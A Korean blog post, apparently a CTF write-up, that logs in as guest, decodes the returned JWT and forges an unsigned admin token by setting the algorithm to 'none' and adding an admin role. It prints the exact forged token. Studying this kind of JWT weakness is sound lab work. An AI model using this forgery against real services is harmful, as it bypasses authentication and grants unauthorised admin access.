CTF & Wargame(WEB)

JWT (JSON Web Token) 취약점 관련 문제

KWAKBUMJUN 2025. 5. 2. 02:46

위와 같은 웹페이지에서 admin 권한으로 로그인하여 flag를 획득하는 문제이다.

url로 /login에 접근해보았지만 405가 뜨면서 접근할 수 없다. (/flag도 마찬가지) 따라서 burp로 데이터를 보내야 될 것 같다.

그래서 위의 사진과 같이 header에 Content-Type: application/json를 추가하고,
{"username": "guest", "password": "guest"} 페이로드를 삽입했더니 오른쪽 response에 token이 출력된 것을 확인할 수 있다.

 

"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.1bAygaodib4H4E3iMScGZ4DfAy1NZMvCI8hAXP_NCfA" 저번 핵테온 ctf에서 jwt를 활용한 문제를 푼 기억이 있기 때문에 이러한 형태의 토큰은 JWT라는 것을 보자마자 알 수 있었다. 따라서 이를 jwt.io 사이트를 통해 디코딩 해보니, 

 

이렇게 username이 guest라고 설정된 것을 확인할 수 있었다. 따라서 우리는 alg를 none으로, username을 admin으로 바꾸고 role도 admin으로 변조하여 공격을 시도해볼 것이다.

 

변조된 JWT

<header>

{
  "alg": "none",
  "typ": "JWT"
}

<payload>

{
  "username": "admin", "role":"admin"
}

--> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

Black-Hacker-Company  (0) 2025.05.14
SSTI 관련 문제 풀이  (0) 2025.05.04
level 1 error based sql injection  (0) 2025.04.22
level 2 blind sql injection advanced  (0) 2025.04.22
level 2 DOM XSS  (0) 2025.04.22